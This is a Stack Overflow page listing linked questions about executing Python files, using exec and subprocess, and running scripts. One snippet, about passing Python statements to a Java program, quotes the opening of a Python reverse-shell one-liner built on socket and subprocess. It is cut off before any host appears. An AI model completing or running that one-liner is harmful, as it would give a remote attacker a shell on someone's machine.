Linked Questions
31 questions linked to/from How to execute a file within the Python interpreter?
1 vote
3 answers
1k views
How to store name value pair in file
I have a large number of name value pair that I need to use in a program. What should be the best way to store the name value pair in a file so that I can easily parse them in my python program. For ...
0 votes
2 answers
1k views
Use exec to execute a file inside a function with globals()
I need to execute a file inside a python shell. I can exec(open('Test.py').read()) But I need to call it from inside a function. "Test.py" will set variable C=10 So, #x.py def load(file): ...
0 votes
1 answer
950 views
Is it possible to import a module from command line or from python before running a script
I have written a module which re-defines the print function. Is it possible to preimport it in order to redefine print() (with from [module] import print) to demonstrate or test it with a program, ...
-1 votes
2 answers
476 views
How to execute Python files from Python?
I am attempting to execute Python files from a deconstructed file. import utils import os print(utils.fileReader('holderFile.py')) test = utils.fileReader('holderFile.py') for i in test: if(i == '...
2 votes
1 answer
811 views
How to convert a string into a pyc file without using a py file?
I have a string print("hello"). I want to directly store this as a .pyc file and execute it later. How can I do this?
0 votes
2 answers
582 views
Print output to a file using another Python module
I have two python modules: buildContent.py which contains code that results in output i want. buildRun.py which i run in order to redirect the output to a file. I'm trying to save the output from ...
0 votes
1 answer
509 views
Passing Python statements as command line args to Java program
Given the below java code, how can I pass the following python statements as argument to the java code python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s....
0 votes
1 answer
311 views
"No such file or directory" when executing remote source code
How to execute Python3 code located remotely - e.g. github? script_url = "https://gist.githubusercontent.com/geotheory/c874b88e712006802114a50d08c15c46/raw/1f218c0f4aa26b0596d9ef3b67005f7d4a9c8e99/...
1 vote
0 answers
393 views
ftplib progress bar
When I run the script it closes the terminal. I want to print and display a message and also to see that it has completed. Maybe a status bar? import ftplib from ftplib import FTP ftp_add = input('...
0 votes
1 answer
322 views
How to implement a python script in a Django web app using parameters from a view
My question about implementing a script into a view in a django web app. I have a .py script that I want to run inside this django web app using the user-supplied data, the configfile, the modelfile ...
0 votes
2 answers
289 views
Trying to run simple script at python prompt but getting an error
Trying to run simple python file in python prompt but giving an error: content of test.py print("Trying to print this using .py file on anaconda prompt") Running file from python prompt (...
0 votes
2 answers
206 views
Running a script from another python
I just want to have some ideas to know how to do that... I have a python script that parses log files, the log name I give it as an argument so that when i want to run the script it's like that.. ( ...
-1 votes
1 answer
155 views
NameError when executing python script using subprocess module but code executing from IDLE
I was recently using the subprocess module and it's run method to execute os commands through python only and get the output, since I was trying to make a custom command prompt in tkinter. The way ...
0 votes
2 answers
119 views
What is the best way to take python input from users on a website and run it your server backend?
I have a Django web-service where I have to take python code from users and run it in the backend and use that code for some purpose. Presently I have taken code by user and I store it in a file. When ...
0 votes
2 answers
62 views
Python import and functions
I have a python file containing multiple functions. And in another file, I have an array which contains functions name . *How can I implement array value in the format of functions * For example : 1 ...